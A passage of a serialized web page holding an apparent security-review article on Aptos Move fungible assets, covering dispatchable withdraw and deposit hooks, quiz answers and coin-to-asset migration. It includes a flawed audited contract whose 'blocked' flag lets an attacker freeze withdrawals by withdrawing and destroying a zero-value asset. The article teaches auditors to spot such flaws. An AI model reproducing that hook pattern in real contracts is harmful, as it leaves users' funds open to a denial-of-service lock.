account.\n",{"type":24,"tag":327,"props":72398,"children":72399},{"class":329,"line":408},[72400,72404,72408,72412,72416,72420,72424],{"type":24,"tag":327,"props":72401,"children":72402},{"style":334},[72403],{"type":29,"value":2195},{"type":24,"tag":327,"props":72405,"children":72406},{"style":1639},[72407],{"type":29,"value":72314},{"type":24,"tag":327,"props":72409,"children":72410},{"style":356},[72411],{"type":29,"value":16961},{"type":24,"tag":327,"props":72413,"children":72414},{"style":356},[72415],{"type":29,"value":72323},{"type":24,"tag":327,"props":72417,"children":72418},{"style":346},[72419],{"type":29,"value":2744},{"type":24,"tag":327,"props":72421,"children":72422},{"style":356},[72423],{"type":29,"value":13508},{"type":24,"tag":327,"props":72425,"children":72426},{"style":346},[72427],{"type":29,"value":497},{"type":24,"tag":327,"props":72429,"children":72430},{"class":329,"line":421},[72431,72435,72439,72443,72447,72451],{"type":24,"tag":327,"props":72432,"children":72433},{"style":356},[72434],{"type":29,"value":68275},{"type":24,"tag":327,"props":72436,"children":72437},{"style":381},[72438],{"type":29,"value":1636},{"type":24,"tag":327,"props":72440,"children":72441},{"style":1639},[72442],{"type":29,"value":68284},{"type":24,"tag":327,"props":72444,"children":72445},{"style":346},[72446],{"type":29,"value":1596},{"type":24,"tag":327,"props":72448,"children":72449},{"style":1639},[72450],{"type":29,"value":68293},{"type":24,"tag":327,"props":72452,"children":72453},{"style":346},[72454],{"type":29,"value":9571},{"type":24,"tag":327,"props":72456,"children":72457},{"class":329,"line":450},[72458],{"type":24,"tag":327,"props":72459,"children":72460},{"style":346},[72461],{"type":29,"value":592},{"type":24,"tag":25,"props":72463,"children":72464},{},[72465,72467,72473,72475,72481],{"type":29,"value":72466},"Additionally, there are fungible asset-specific references such as ",{"type":24,"tag":284,"props":72468,"children":72470},{"className":72469},[],[72471],{"type":29,"value":72472},"MintRef",{"type":29,"value":72474}," for minting and ",{"type":24,"tag":284,"props":72476,"children":72478},{"className":72477},[],[72479],{"type":29,"value":72480},"BurnRef",{"type":29,"value":72482}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":24,"tag":228,"props":72484,"children":72486},{"id":72485},"dispatchable-fungible-assets",[72487],{"type":29,"value":72488},"Dispatchable fungible assets",{"type":24,"tag":25,"props":72490,"children":72491},{},[72492],{"type":29,"value":72493},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":24,"tag":25,"props":72495,"children":72496},{},[72497],{"type":29,"value":72498},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":24,"tag":72500,"props":72501,"children":72502},"warning",{},[72503],{"type":24,"tag":25,"props":72504,"children":72505},{},[72506,72508,72514],{"type":29,"value":72507},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":24,"tag":284,"props":72509,"children":72511},{"className":72510},[],[72512],{"type":29,"value":72513},"transfer_assert_minimum_deposit",{"type":29,"value":72515}," that can help mitigate such risks.",{"type":24,"tag":25,"props":72517,"children":72518},{},[72519,72521,72526,72528,72535],{"type":29,"value":72520},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":24,"tag":284,"props":72522,"children":72524},{"className":72523},[],[72525],{"type":29,"value":68398},{"type":29,"value":72527}," to ensure ",{"type":24,"tag":57,"props":72529,"children":72532},{"href":72530,"rel":72531},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[61],[72533],{"type":29,"value":72534},"their signature remains immutable",{"type":29,"value":72536},". An example implementation might look like this:",{"type":24,"tag":317,"props":72538,"children":72540},{"className":1553,"code":72539,"language":1552,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[72541],{"type":24,"tag":284,"props":72542,"children":72543},{"__ignoreMap":7},[72544,72580,72607,72626,72650,72669,72677,72723,72730,72737,72773,72800,72820,72843,72850,72857,72901],{"type":24,"tag":327,"props":72545,"children":72546},{"class":329,"line":330},[72547,72551,72555,72560,72564,72568,72572,72576],{"type":24,"tag":327,"props":72548,"children":72549},{"style":356},[72550],{"type":29,"value":68398},{"type":24,"tag":327,"props":72552,"children":72553},{"style":356},[72554],{"type":29,"value":13773},{"type":24,"tag":327,"props":72556,"children":72557},{"style":356},[72558],{"type":29,"value":72559}," withdraw_hook",{"type":24,"tag":327,"props":72561,"children":72562},{"style":346},[72563],{"type":29,"value":1596},{"type":24,"tag":327,"props":72565,"children":72566},{"style":1639},[72567],{"type":29,"value":13555},{"type":24,"tag":327,"props":72569,"children":72570},{"style":381},[72571],{"type":29,"value":1636},{"type":24,"tag":327,"props":72573,"children":72574},{"style":356},[72575],{"type":29,"value":13499},{"type":24,"tag":327,"props":72577,"children":72578},{"style":346},[72579],{"type":29,"value":14155},{"type":24,"tag":327,"props":72581,"children":72582},{"class":329,"line":367},[72583,72587,72591,72595,72599,72603],{"type":24,"tag":327,"props":72584,"children":72585},{"style":356},[72586],{"type":29,"value":36122},{"type":24,"tag":327,"props":72588,"children":72589},{"style":381},[72590],{"type":29,"value":1636},{"type":24,"tag":327,"props":72592,"children":72593},{"style":1639},[72594],{"type":29,"value":68284},{"type":24,"tag":327,"props":72596,"children":72597},{"style":346},[72598],{"type":29,"value":1596},{"type":24,"tag":327,"props":72600,"children":72601},{"style":1639},[72602],{"type":29,"value":13555},{"type":24,"tag":327,"props":72604,"children":72605},{"style":346},[72606],{"type":29,"value":4529},{"type":24,"tag":327,"props":72608,"children":72609},{"class":329,"line":408},[72610,72614,72618,72622],{"type":24,"tag":327,"props":72611,"children":72612},{"style":356},[72613],{"type":29,"value":68305},{"type":24,"tag":327,"props":72615,"children":72616},{"style":381},[72617],{"type":29,"value":1636},{"type":24,"tag":327,"props":72619,"children":72620},{"style":1639},[72621],{"type":29,"value":1669},{"type":24,"tag":327,"props":72623,"children":72624},{"style":346},[72625],{"type":29,"value":2231},{"type":24,"tag":327,"props":72627,"children":72628},{"class":329,"line":421},[72629,72634,72638,72642,72646],{"type":24,"tag":327,"props":72630,"children":72631},{"style":356},[72632],{"type":29,"value":72633},"    transfer_ref",{"type":24,"tag":327,"props":72635,"children":72636},{"style":381},[72637],{"type":29,"value":1636},{"type":24,"tag":327,"props":72639,"children":72640},{"style":381},[72641],{"type":29,"value":14704},{"type":24,"tag":327,"props":72643,"children":72644},{"style":1639},[72645],{"type":29,"value":72148},{"type":24,"tag":327,"props":72647,"children":72648},{"style":346},[72649],{"type":29,"value":2231},{"type":24,"tag":327,"props":72651,"children":72652},{"class":329,"line":450},[72653,72657,72661,72665],{"type":24,"tag":327,"props":72654,"children":72655},{"style":346},[72656],{"type":29,"value":3146},{"type":24,"tag":327,"props":72658,"children":72659},{"style":381},[72660],{"type":29,"value":1636},{"type":24,"tag":327,"props":72662,"children":72663},{"style":1639},[72664],{"type":29,"value":68263},{"type":24,"tag":327,"props":72666,"children":72667},{"style":346},[72668],{"type":29,"value":497},{"type":24,"tag":327,"props":72670,"children":72671},{"class":329,"line":481},[72672],{"type":24,"tag":327,"props":72673,"children":72674},{"style":551},[72675],{"type":29,"value":72676},"    //check paused, gather fees etc.\n",{"type":24,"tag":327,"props":72678,"children":72679},{"class":329,"line":500},[72680,72685,72689,72694,72698,72703,72707,72711,72715,72719],{"type":24,"tag":327,"props":72681,"children":72682},{"style":346},[72683],{"type":29,"value":72684},"    fungible_asset",{"type":24,"tag":327,"props":72686,"children":72687},{"style":381},[72688],{"type":29,"value":2407},{"type":24,"tag":327,"props":72690,"children":72691},{"style":340},[72692],{"type":29,"value":72693},"withdraw_with_ref",{"type":24,"tag":327,"props":72695,"children":72696},{"style":346},[72697],{"type":29,"value":349},{"type":24,"tag":327,"props":72699,"children":72700},{"style":356},[72701],{"type":29,"value":72702},"transfer_ref",{"type":24,"tag":327,"props":72704,"children":72705},{"style":346},[72706],{"type":29,"value":2744},{"type":24,"tag":327,"props":72708,"children":72709},{"style":356},[72710],{"type":29,"value":13508},{"type":24,"tag":327,"props":72712,"children":72713},{"style":346},[72714],{"type":29,"value":2744},{"type":24,"tag":327,"props":72716,"children":72717},{"style":356},[72718],{"type":29,"value":1660},{"type":24,"tag":327,"props":72720,"children":72721},{"style":346},[72722],{"type":29,"value":852},{"type":24,"tag":327,"props":72724,"children":72725},{"class":329,"line":529},[72726],{"type":24,"tag":327,"props":72727,"children":72728},{"style":346},[72729],{"type":29,"value":592},{"type":24,"tag":327,"props":72731,"children":72732},{"class":329,"line":538},[72733],{"type":24,"tag":327,"props":72734,"children":72735},{"emptyLinePlaceholder":16},[72736],{"type":29,"value":544},{"type":24,"tag":327,"props":72738,"children":72739},{"class":329,"line":547},[72740,72744,72748,72753,72757,72761,72765,72769],{"type":24,"tag":327,"props":72741,"children":72742},{"style":356},[72743],{"type":29,"value":68398},{"type":24,"tag":327,"props":72745,"children":72746},{"style":356},[72747],{"type":29,"value":13773},{"type":24,"tag":327,"props":72749,"children":72750},{"style":356},[72751],{"type":29,"value":72752}," deposit_hook",{"type":24,"tag":327,"props":72754,"children":72755},{"style":346},[72756],{"type":29,"value":1596},{"type":24,"tag":327,"props":72758,"children":72759},{"style":1639},[72760],{"type":29,"value":13555},{"type":24,"tag":327,"props":72762,"children":72763},{"style":381},[72764],{"type":29,"value":1636},{"type":24,"tag":327,"props":72766,"children":72767},{"style":356},[72768],{"type":29,"value":13499},{"type":24,"tag":327,"props":72770,"children":72771},{"style":346},[72772],{"type":29,"value":14155},{"type":24,"tag":327,"props":72774,"children":72775},{"class":329,"line":557},[72776,72780,72784,72788,72792,72796],{"type":24,"tag":327,"props":72777,"children":72778},{"style":356},[72779],{"type":29,"value":36122},{"type":24,"tag":327,"props":72781,"children":72782},{"style":381},[72783],{"type":29,"value":1636},{"type":24,"tag":327,"props":72785,"children":72786},{"style":1639},[72787],{"type":29,"value":68284},{"type":24,"tag":327,"props":72789,"children":72790},{"style":346},[72791],{"type":29,"value":1596},{"type":24,"tag":327,"props":72793,"children":72794},{"style":1639},[72795],{"type":29,"value":13555},{"type":24,"tag":327,"props":72797,"children":72798},{"style":346},[72799],{"type":29,"value":4529},{"type":24,"tag":327,"props":72801,"children":72802},{"class":329,"line":586},[72803,72808,72812,72816],{"type":24,"tag":327,"props":72804,"children":72805},{"style":356},[72806],{"type":29,"value":72807},"    fa",{"type":24,"tag":327,"props":72809,"children":72810},{"style":381},[72811],{"type":29,"value":1636},{"type":24,"tag":327,"props":72813,"children":72814},{"style":1639},[72815],{"type":29,"value":68263},{"type":24,"tag":327,"props":72817,"children":72818},{"style":346},[72819],{"type":29,"value":2231},{"type":24,"tag":327,"props":72821,"children":72822},{"class":329,"line":1017},[72823,72827,72831,72835,72839],{"type":24,"tag":327,"props":72824,"children":72825},{"style":356},[72826],{"type":29,"value":72633},{"type":24,"tag":327,"props":72828,"children":72829},{"style":381},[72830],{"type":29,"value":1636},{"type":24,"tag":327,"props":72832,"children":72833},{"style":381},[72834],{"type":29,"value":14704},{"type":24,"tag":327,"props":72836,"children":72837},{"style":1639},[72838],{"type":29,"value":72148},{"type":24,"tag":327,"props":72840,"children":72841},{"style":346},[72842],{"type":29,"value":2231},{"type":24,"tag":327,"props":72844,"children":72845},{"class":329,"line":1026},[72846],{"type":24,"tag":327,"props":72847,"children":72848},{"style":346},[72849],{"type":29,"value":364},{"type":24,"tag":327,"props":72851,"children":72852},{"class":329,"line":1048},[72853],{"type":24,"tag":327,"props":72854,"children":72855},{"style":551},[72856],{"type":29,"value":72676},{"type":24,"tag":327,"props":72858,"children":72859},{"class":329,"line":1067},[72860,72864,72868,72873,72877,72881,72885,72889,72893,72897],{"type":24,"tag":327,"props":72861,"children":72862},{"style":346},[72863],{"type":29,"value":72684},{"type":24,"tag":327,"props":72865,"children":72866},{"style":381},[72867],{"type":29,"value":2407},{"type":24,"tag":327,"props":72869,"children":72870},{"style":340},[72871],{"type":29,"value":72872},"deposit_with_ref",{"type":24,"tag":327,"props":72874,"children":72875},{"style":346},[72876],{"type":29,"value":349},{"type":24,"tag":327,"props":72878,"children":72879},{"style":356},[72880],{"type":29,"value":72702},{"type":24,"tag":327,"props":72882,"children":72883},{"style":346},[72884],{"type":29,"value":2744},{"type":24,"tag":327,"props":72886,"children":72887},{"style":356},[72888],{"type":29,"value":13508},{"type":24,"tag":327,"props":72890,"children":72891},{"style":346},[72892],{"type":29,"value":2744},{"type":24,"tag":327,"props":72894,"children":72895},{"style":356},[72896],{"type":29,"value":68456},{"type":24,"tag":327,"props":72898,"children":72899},{"style":346},[72900],{"type":29,"value":583},{"type":24,"tag":327,"props":72902,"children":72903},{"class":329,"line":1075},[72904],{"type":24,"tag":327,"props":72905,"children":72906},{"style":346},[72907],{"type":29,"value":592},{"type":24,"tag":72909,"props":72910,"children":72911},"question",{},[72912,72939],{"type":24,"tag":25,"props":72913,"children":72914},{},[72915,72917,72923,72925,72931,72932,72938],{"type":29,"value":72916},"Why hook functions rely on ",{"type":24,"tag":284,"props":72918,"children":72920},{"className":72919},[],[72921],{"type":29,"value":72922},"*_with_ref",{"type":29,"value":72924}," calls? What would happen if the hook function called ",{"type":24,"tag":284,"props":72926,"children":72928},{"className":72927},[],[72929],{"type":29,"value":72930},"dispatchable_fungible_asset::withdraw",{"type":29,"value":24306},{"type":24,"tag":284,"props":72933,"children":72935},{"className":72934},[],[72936],{"type":29,"value":72937},"fungible_asset::withdraw_with_ref",{"type":29,"value":7437},{"type":24,"tag":72940,"props":72941,"children":72942},"template",{"v-slot:answer-0":7},[72943,72955],{"type":24,"tag":25,"props":72944,"children":72945},{},[72946,72948,72953],{"type":29,"value":72947},"A1: Hook functions rely on ",{"type":24,"tag":284,"props":72949,"children":72951},{"className":72950},[],[72952],{"type":29,"value":72922},{"type":29,"value":72954}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":72956,"children":72957},{},[72958,72960,72965],{"type":29,"value":72959},"A2: A ",{"type":24,"tag":284,"props":72961,"children":72963},{"className":72962},[],[72964],{"type":29,"value":72930},{"type":29,"value":72966}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":72968,"children":72969},{},[72970],{"type":29,"value":72971},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":317,"props":72973,"children":72975},{"className":1553,"code":72974,"language":1552,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[72976],{"type":24,"tag":284,"props":72977,"children":72978},{"__ignoreMap":7},[72979,73074,73094,73109,73129,73172,73187,73194,73201,73320,73339,73354,73373,73416],{"type":24,"tag":327,"props":72980,"children":72981},{"class":329,"line":330},[72982,72986,72990,72994,72998,73002,73006,73010,73014,73018,73022,73026,73030,73034,73038,73042,73046,73050,73054,73058,73062,73066,73070],{"type":24,"tag":327,"props":72983,"children":72984},{"style":356},[72985],{"type":29,"value":68398},{"type":24,"tag":327,"props":72987,"children":72988},{"style":356},[72989],{"type":29,"value":13773},{"type":24,"tag":327,"props":72991,"children":72992},{"style":356},[72993],{"type":29,"value":68407},{"type":24,"tag":327,"props":72995,"children":72996},{"style":346},[72997],{"type":29,"value":1596},{"type":24,"tag":327,"props":72999,"children":73000},{"style":1639},[73001],{"type":29,"value":13555},{"type":24,"tag":327,"props":73003,"children":73004},{"style":381},[73005],{"type":29,"value":1636},{"type":24,"tag":327,"props":73007,"children":73008},{"style":356},[73009],{"type":29,"value":13499},{"type":24,"tag":327,"props":73011,"children":73012},{"style":346},[73013],{"type":29,"value":15173},{"type":24,"tag":327,"props":73015,"children":73016},{"style":356},[73017],{"type":29,"value":13508},{"type":24,"tag":327,"props":73019,"children":73020},{"style":381},[73021],{"type":29,"value":1636},{"type":24,"tag":327,"props":73023,"children":73024},{"style":1639},[73025],{"type":29,"value":68284},{"type":24,"tag":327,"props":73027,"children":73028},{"style":346},[73029],{"type":29,"value":1596},{"type":24,"tag":327,"props":73031,"children":73032},{"style":1639},[73033],{"type":29,"value":13555},{"type":24,"tag":327,"props":73035,"children":73036},{"style":346},[73037],{"type":29,"value":1655},{"type":24,"tag":327,"props":73039,"children":73040},{"style":356},[73041],{"type":29,"value":68456},{"type":24,"tag":327,"props":73043,"children":73044},{"style":381},[73045],{"type":29,"value":1636},{"type":24,"tag":327,"props":73047,"children":73048},{"style":1639},[73049],{"type":29,"value":68263},{"type":24,"tag":327,"props":73051,"children":73052},{"style":346},[73053],{"type":29,"value":2744},{"type":24,"tag":327,"props":73055,"children":73056},{"style":356},[73057],{"type":29,"value":72702},{"type":24,"tag":327,"props":73059,"children":73060},{"style":381},[73061],{"type":29,"value":1636},{"type":24,"tag":327,"props":73063,"children":73064},{"style":381},[73065],{"type":29,"value":14704},{"type":24,"tag":327,"props":73067,"children":73068},{"style":1639},[73069],{"type":29,"value":72148},{"type":24,"tag":327,"props":73071,"children":73072},{"style":346},[73073],{"type":29,"value":364},{"type":24,"tag":327,"props":73075,"children":73076},{"class":329,"line":367},[73077,73082,73086,73090],{"type":24,"tag":327,"props":73078,"children":73079},{"style":340},[73080],{"type":29,"value":73081},"    assert_withdraw_flag",{"type":24,"tag":327,"props":73083,"children":73084},{"style":346},[73085],{"type":29,"value":349},{"type":24,"tag":327,"props":73087,"children":73088},{"style":334},[73089],{"type":29,"value":2961},{"type":24,"tag":327,"props":73091,"children":73092},{"style":346},[73093],{"type":29,"value":583},{"type":24,"tag":327,"props":73095,"children":73096},{"class":329,"line":408},[73097,73101,73105],{"type":24,"tag":327,"props":73098,"children":73099},{"style":346},[73100],{"type":29,"value":69441},{"type":24,"tag":327,"props":73102,"children":73103},{"style":381},[73104],{"type":29,"value":1922},{"type":24,"tag":327,"props":73106,"children":73107},{"style":346},[73108],{"type":29,"value":19319},{"type":24,"tag":327,"props":73110,"children":73111},{"class":329,"line":421},[73112,73117,73121,73125],{"type":24,"tag":327,"props":73113,"children":73114},{"style":340},[73115],{"type":29,"value":73116},"    set_withdraw_flag",{"type":24,"tag":327,"props":73118,"children":73119},{"style":346},[73120],{"type":29,"value":349},{"type":24,"tag":327,"props":73122,"children":73123},{"style":334},[73124],{"type":29,"value":15736},{"type":24,"tag":327,"props":73126,"children":73127},{"style":346},[73128],{"type":29,"value":583},{"type":24,"tag":327,"props":73130,"children":73131},{"class":329,"line":450},[73132,73136,73140,73144,73148,73152,73156,73160,73164,73168],{"type":24,"tag":327,"props":73133,"children":73134},{"style":346},[73135],{"type":29,"value":72684},{"type":24,"tag":327,"props":73137,"children":73138},{"style":381},[73139],{"type":29,"value":2407},{"type":24,"tag":327,"props":73141,"children":73142},{"style":340},[73143],{"type":29,"value":72872},{"type":24,"tag":327,"props":73145,"children":73146},{"style":346},[73147],{"type":29,"value":349},{"type":24,"tag":327,"props":73149,"children":73150},{"style":356},[73151],{"type":29,"value":72702},{"type":24,"tag":327,"props":73153,"children":73154},{"style":346},[73155],{"type":29,"value":2744},{"type":24,"tag":327,"props":73157,"children":73158},{"style":356},[73159],{"type":29,"value":13508},{"type":24,"tag":327,"props":73161,"children":73162},{"style":346},[73163],{"type":29,"value":2744},{"type":24,"tag":327,"props":73165,"children":73166},{"style":356},[73167],{"type":29,"value":1660},{"type":24,"tag":327,"props":73169,"children":73170},{"style":346},[73171],{"type":29,"value":583},{"type":24,"tag":327,"props":73173,"children":73174},{"class":329,"line":481},[73175,73179,73183],{"type":24,"tag":327,"props":73176,"children":73177},{"style":346},[73178],{"type":29,"value":69441},{"type":24,"tag":327,"props":73180,"children":73181},{"style":381},[73182],{"type":29,"value":1922},{"type":24,"tag":327,"props":73184,"children":73185},{"style":346},[73186],{"type":29,"value":19319},{"type":24,"tag":327,"props":73188,"children":73189},{"class":329,"line":500},[73190],{"type":24,"tag":327,"props":73191,"children":73192},{"style":346},[73193],{"type":29,"value":535},{"type":24,"tag":327,"props":73195,"children":73196},{"class":329,"line":529},[73197],{"type":24,"tag":327,"props":73198,"children":73199},{"emptyLinePlaceholder":16},[73200],{"type":29,"value":544},{"type":24,"tag":327,"props":73202,"children":73203},{"class":329,"line":538},[73204,73208,73212,73216,73220,73224,73228,73232,73236,73240,73244,73248,73252,73256,73260,73264,73268,73272,73276,73280,73284,73288,73292,73296,73300,73304,73308,73312,73316],{"type":24,"tag":327,"props":73205,"children":73206},{"style":356},[73207],{"type":29,"value":68398},{"type":24,"tag":327,"props":73209,"children":73210},{"style":356},[73211],{"type":29,"value":13773},{"type":24,"tag":327,"props":73213,"children":73214},{"style":356},[73215],{"type":29,"value":1622},{"type":24,"tag":327,"props":73217,"children":73218},{"style":346},[73219],{"type":29,"value":1596},{"type":24,"tag":327,"props":73221,"children":73222},{"style":1639},[73223],{"type":29,"value":13555},{"type":24,"tag":327,"props":73225,"children":73226},{"style":381},[73227],{"type":29,"value":1636},{"type":24,"tag":327,"props":73229,"children":73230},{"style":356},[73231],{"type":29,"value":13499},{"type":24,"tag":327,"props":73233,"children":73234},{"style":346},[73235],{"type":29,"value":15173},{"type":24,"tag":327,"props":73237,"children":73238},{"style":356},[73239],{"type":29,"value":13508},{"type":24,"tag":327,"props":73241,"children":73242},{"style":381},[73243],{"type":29,"value":1636},{"type":24,"tag":327,"props":73245,"children":73246},{"style":1639},[73247],{"type":29,"value":68284},{"type":24,"tag":327,"props":73249,"children":73250},{"style":346},[73251],{"type":29,"value":1596},{"type":24,"tag":327,"props":73253,"children":73254},{"style":1639},[73255],{"type":29,"value":13555},{"type":24,"tag":327,"props":73257,"children":73258},{"style":346},[73259],{"type":29,"value":1655},{"type":24,"tag":327,"props":73261,"children":73262},{"style":356},[73263],{"type":29,"value":1660},{"type":24,"tag":327,"props":73265,"children":73266},{"style":381},[73267],{"type":29,"value":1636},{"type":24,"tag":327,"props":73269,"children":73270},{"style":1639},[73271],{"type":29,"value":1669},{"type":24,"tag":327,"props":73273,"children":73274},{"style":346},[73275],{"type":29,"value":2744},{"type":24,"tag":327,"props":73277,"children":73278},{"style":356},[73279],{"type":29,"value":72702},{"type":24,"tag":327,"props":73281,"children":73282},{"style":381},[73283],{"type":29,"value":1636},{"type":24,"tag":327,"props":73285,"children":73286},{"style":381},[73287],{"type":29,"value":14704},{"type":24,"tag":327,"props":73289,"children":73290},{"style":1639},[73291],{"type":29,"value":72148},{"type":24,"tag":327,"props":73293,"children":73294},{"style":346},[73295],{"type":29,"value":3146},{"type":24,"tag":327,"props":73297,"children":73298},{"style":381},[73299],{"type":29,"value":1636},{"type":24,"tag":327,"props":73301,"children":73302},{"style":1639},[73303],{"type":29,"value":68263},{"type":24,"tag":327,"props":73305,"children":73306},{"style":356},[73307],{"type":29,"value":15129},{"type":24,"tag":327,"props":73309,"children":73310},{"style":346},[73311],{"type":29,"value":4446},{"type":24,"tag":327,"props":73313,"children":73314},{"style":381},[73315],{"type":29,"value":1922},{"type":24,"tag":327,"props":73317,"children":73318},{"style":346},[73319],{"type":29,"value":68489},{"type":24,"tag":327,"props":73321,"children":73322},{"class":329,"line":547},[73323,73327,73331,73335],{"type":24,"tag":327,"props":73324,"children":73325},{"style":340},[73326],{"type":29,"value":73081},{"type":24,"tag":327,"props":73328,"children":73329},{"style":346},[73330],{"type":29,"value":349},{"type":24,"tag":327,"props":73332,"children":73333},{"style":334},[73334],{"type":29,"value":15736},{"type":24,"tag":327,"props":73336,"children":73337},{"style":346},[73338],{"type":29,"value":583},{"type":24,"tag":327,"props":73340,"children":73341},{"class":329,"line":557},[73342,73346,73350],{"type":24,"tag":327,"props":73343,"children":73344},{"style":346},[73345],{"type":29,"value":69441},{"type":24,"tag":327,"props":73347,"children":73348},{"style":381},[73349],{"type":29,"value":1922},{"type":24,"tag":327,"props":73351,"children":73352},{"style":346},[73353],{"type":29,"value":19319},{"type":24,"tag":327,"props":73355,"children":73356},{"class":329,"line":586},[73357,73361,73365,73369],{"type":24,"tag":327,"props":73358,"children":73359},{"style":340},[73360],{"type":29,"value":73116},{"type":24,"tag":327,"props":73362,"children":73363},{"style":346},[73364],{"type":29,"value":349},{"type":24,"tag":327,"props":73366,"children":73367},{"style":334},[73368],{"type":29,"value":2961},{"type":24,"tag":327,"props":73370,"children":73371},{"style":346},[73372],{"type":29,"value":583},{"type":24,"tag":327,"props":73374,"children":73375},{"class":329,"line":1017},[73376,73380,73384,73388,73392,73396,73400,73404,73408,73412],{"type":24,"tag":327,"props":73377,"children":73378},{"style":346},[73379],{"type":29,"value":72684},{"type":24,"tag":327,"props":73381,"children":73382},{"style":381},[73383],{"type":29,"value":2407},{"type":24,"tag":327,"props":73385,"children":73386},{"style":340},[73387],{"type":29,"value":72693},{"type":24,"tag":327,"props":73389,"children":73390},{"style":346},[73391],{"type":29,"value":349},{"type":24,"tag":327,"props":73393,"children":73394},{"style":356},[73395],{"type":29,"value":72702},{"type":24,"tag":327,"props":73397,"children":73398},{"style":346},[73399],{"type":29,"value":2744},{"type":24,"tag":327,"props":73401,"children":73402},{"style":356},[73403],{"type":29,"value":13508},{"type":24,"tag":327,"props":73405,"children":73406},{"style":346},[73407],{"type":29,"value":2744},{"type":24,"tag":327,"props":73409,"children":73410},{"style":356},[73411],{"type":29,"value":1660},{"type":24,"tag":327,"props":73413,"children":73414},{"style":346},[73415],{"type":29,"value":852},{"type":24,"tag":327,"props":73417,"children":73418},{"class":329,"line":1026},[73419],{"type":24,"tag":327,"props":73420,"children":73421},{"style":346},[73422],{"type":29,"value":592},{"type":24,"tag":25,"props":73424,"children":73425},{},[73426],{"type":29,"value":73427},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":72909,"props":73429,"children":73430},{},[73431,73436],{"type":24,"tag":25,"props":73432,"children":73433},{},[73434],{"type":29,"value":73435},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":72940,"props":73437,"children":73438},{"v-slot:answer-0":7},[73439,73459],{"type":24,"tag":25,"props":73440,"children":73441},{},[73442,73444,73449,73451,73457],{"type":29,"value":73443},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":284,"props":73445,"children":73447},{"className":73446},[],[73448],{"type":29,"value":68234},{"type":29,"value":73450}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":284,"props":73452,"children":73454},{"className":73453},[],[73455],{"type":29,"value":73456},"fungible_asset::destroy_zero",{"type":29,"value":73458},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":73460,"children":73461},{},[73462],{"type":29,"value":73463},"It's important to understand all the features in the standard.",{"type":24,"tag":228,"props":73465,"children":73467},{"id":73466},"migrating-from-coins-to-fungible-assets",[73468],{"type":29,"value":73469},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":73471,"children":73472},{},[73473,73475,73480],{"type":29,"value":73474},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":284,"props":73476,"children":73478},{"className":73477},[],[73479],{"type":29,"value":67689},{"type":29,"value":73481},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":73483,"props":73484,"children":73485},"note",{},[73486],{"type":24,"tag":25,"props":73487,"children":73488},{},[73489,73491,73496,73498,73503],{"type":29,"value":73490},"While the ",{"type":24,"tag":284,"props":73492,"children":73494},{"className":73493},[],[73495],{"type":29,"value":67689},{"type":29,"value":73497}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":284,"props":73499,"children":73501},{"className":73500},[],[73502],{"type":29,"value":67689},{"type":29,"value":66},{"type":24,"tag":25,"props":73505,"children":73506},{},[73507,73508,73514,73516,73521,73523,73528],{"type":29,"value":1713},{"type":24,"tag":284,"props":73509,"children":73511},{"className":73510},[],[73512],{"type":29,"value":73513},"coin_to_fungible_asset",{"type":29,"value":73515}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":284,"props":73517,"children":73519},{"className":73518},[],[73520],{"type":29,"value":67689},{"type":29,"value":73522}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":284,"props":73524,"children":73526},{"className":73525},[],[73527],{"type":29,"value":67689},{"type":29,"value":73529}," is not allowed.",{"type":24,"tag":317,"props":73531,"children":73533},{"className":1553,"code":73532,"language":1552,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    